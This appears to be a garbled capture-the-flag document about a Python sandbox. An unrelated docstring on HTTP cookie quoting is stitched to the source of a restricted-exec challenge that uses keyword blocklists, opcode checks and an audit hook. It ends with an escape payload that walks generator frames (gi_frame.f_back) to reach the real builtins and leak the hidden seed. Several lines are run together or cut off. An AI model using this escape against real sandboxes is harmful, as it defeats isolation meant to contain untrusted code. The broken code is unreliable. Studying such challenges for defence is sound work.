Many HTTP/1.1 header field values consist of words separated by LWS or special characters. These special characters MUST be in a quoted string to be used within a parameter value. These quoting routines conform to the RFC2109 specification, which in turn references the character definitions from RFC2068. They provide a two-way quoting algorithm. Any non-text character is translated into a 4 character sequence: a forward-slash followed by the three-digit octal equivalent of the character. Any '\' or '"' is quoted with a preceeding '\' slash. Check for special sequences. Examples: \012 --> \n \" -->"
from sys import exit from builtins importprint from dis import dis from builtins importstr from io import StringIO from sys import addaudithook from contextlib import redirect_stdout from random import randint, randrange, seed from time import time import os defsource_simple_check(source): """ 检查源码中是否包含危险字符串,使用纯字符串查找 :param source: 源码 :return: None """ try: source.encode("ascii") except UnicodeEncodeError: print("不允许使用非 ASCII 字符") exit() for i in ["__", "getattr", "exit"]: if i in source.lower(): print(i) exit() defblock_wrapper(): """ 使用 sys.audithook 检查运行进程,禁止进行危险操作 :return: None """ defaudit(event, args): for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", if i in (event + "".join(str(s) for s in args)).lower(): print(i) os._exit(1) # 会直接将python程序终止,之后的所有代码都不会继续执行。 return audit defsource_opcode_checker(code): """ 检查源码的字节码方面,禁止加载方法和全局变量 :param code: 源码 :return: None """ opcodeIO = StringIO() dis(code, file=opcodeIO) opcode = opcodeIO.getvalue().split("\n") opcodeIO.close() for line in opcode: ifany(x instr(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]): ifany(x instr(line) for x in ["randint", "randrange", "print", "seed"]):
main.py break print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x instr(l exit() if __name__ == "__main__": source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read() source_simple_check(source) # 函数用于设置审计钩子,监控运行进程,当事件或参数中包含特定危险关键词 source_opcode_checker(source) # 函数用于检查源码的字节码,禁止加载特定的方法和全局变量,以防止执行 code = compile(source, "<sandbox>", "exec") addaudithook(block_wrapper()) outputIO = StringIO() with redirect_stdout(outputIO): seed(str(time()) + "THIS_IS_SEED" + str(time())) exec(code, { "__builtins__": None, "randint": randint, "randrange": randrange, "seed": seed, "print": print }, None) output = outputIO.getvalue() if"THIS_IS_SEED"in output: print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!") print("bad code-operation why still happened ah?") else: print(output)
defgetflag(): deff(): yield g.gi_frame.f_back g = f() frame=[x for x in g][0] gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_'] code = frame.f_back.f_back.f_back.f_code gattr_dir = gattr.dir s = gattr.str print(gattr_dir(code)) for i in s(code.co_consts): print(i,end=",") getflag()